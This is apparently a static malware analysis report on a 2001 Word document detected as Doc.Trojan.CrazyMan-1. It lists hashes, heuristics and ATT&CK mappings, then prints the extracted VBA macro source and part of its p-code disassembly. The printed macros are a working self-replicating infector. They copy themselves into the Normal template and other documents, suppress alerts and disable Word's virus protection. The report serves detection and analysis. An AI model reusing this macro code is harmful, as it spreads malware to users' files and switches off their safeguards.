Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4bd85608cc264e0d…

MALICIOUS

Office (OLE)

41.0 KB Created: 2001-03-09 14:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d31501cb9cd4bf4c5831ce196c391d71 SHA-1: 4a1cb1f7c11ac84c7fbebd305faeb41eaf47c3c1 SHA-256: 4bd85608cc264e0d935c76dd9f118bd209264d1655dcf65d95fa7c7a844fa6b6
220 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing VBA macros, including AutoOpen and AutoClose functions. The AutoOpen macro attempts to export itself to 'c:\bdoc2.txt' and then import it into the Normal template, indicating an attempt to establish persistence or facilitate further execution. The ClamAV detection 'Doc.Trojan.CrazyMan-1' and the presence of legacy WordBasic auto-execution markers further support its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.CrazyMan-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CrazyMan-1
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 41,984 bytes but its declared streams total only 20,626 bytes — 21,358 bytes (51%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9923 bytes
SHA-256: 156e57123ac4494a049298d849a40e8a98be06dd1387d62788340a6a853f5260
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "bdoc2"
Sub AutoOpen()
On Error Resume Next
Options.VirusProtection = True
Options.SaveNormalPrompt = False
Options.ConfirmConversions = False
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActivInstall = True
Next i
If ActivInstall = True And NormInstall = True Then GoTo Label_Exit
If ActivInstall = True And NormInstall = False Then Set Doc = ActiveDocument
If ActivInstall = False And NormInstall = True Then Set Doc = NormalTemplate
Doc.VBProject.VBComponents("bdoc2").Export ("c:\bdoc2.txt")

If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If

Label_Exit:
CommandBars("Tools").Enabled = True
Application.ScreenUpdating = True
Application.DisplayAlerts = wdAlertsAll
Application.EnableCancelKey = wdCancelInterrupt
End Sub
Sub AutoClose()
On Error Resume Next
If Day(Now) = 2 And Month(Now) = 9 Then MsgBox "ÓÀÔ¶µÄ×£¸£ , ÉúÈÕ¿ìÀÖ!!!", vbCritical
Application.DisplayAlerts = wdAlertsNone
For i = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(i).Name = "bdoc2" Then NormInstall = True
Next i
For i = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(i).Name = "bdoc2" Then ActiveInstall = True
Next i
If ActiveInstall = True And NormInstall = True Then GoTo Label_Exit
If ActiveInstall = True And NormInstall = False Then
NormalTemplate.VBProject.VBComponents.Import ("c:\bdoc2.txt")
NormalTemplate.Save
Else
Dname = ActiveDocument.FullName
If Left$(Dname, 8) = "Document" Then GoTo Label_Exit
ActiveDocument.VBProject.VBComponents.Import ("c:\bdoc2.txt")
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatDocument
End If
Label_Exit:
End Sub

Public Sub AutoExec()
On Error Resume Next
CommandBars("Tools").Enabled = True
Application.DisplayAlerts = wdAlertsNone
Application.ScreenUpdating = False
Options.VirusProtection = False
End Sub
Sub AutoExit()
On Error Resume Next
Kill ("c:\bdoc2.txt")
If Day(Now) = 13 Then MsgBox "ÇëʹÓõÁ°æÈí¼þ,Press OK!!", vbCritical
End Sub


' Processing file: /opt/analyzer/scan_staging/22ab319e47c64be4a4fc05a4d3b002b4.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 903 bytes
' Macros/VBA/bdoc2 - 4133 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitVarSpecial (True)
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #3:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #4:
' 	LitVarSpecial (False)
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #5:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #6:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "bdoc2"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St NormInstall 
' 	EndIf 
' Line #7:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #8:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #9:
' 	Ld i 
' 	
... (truncated)

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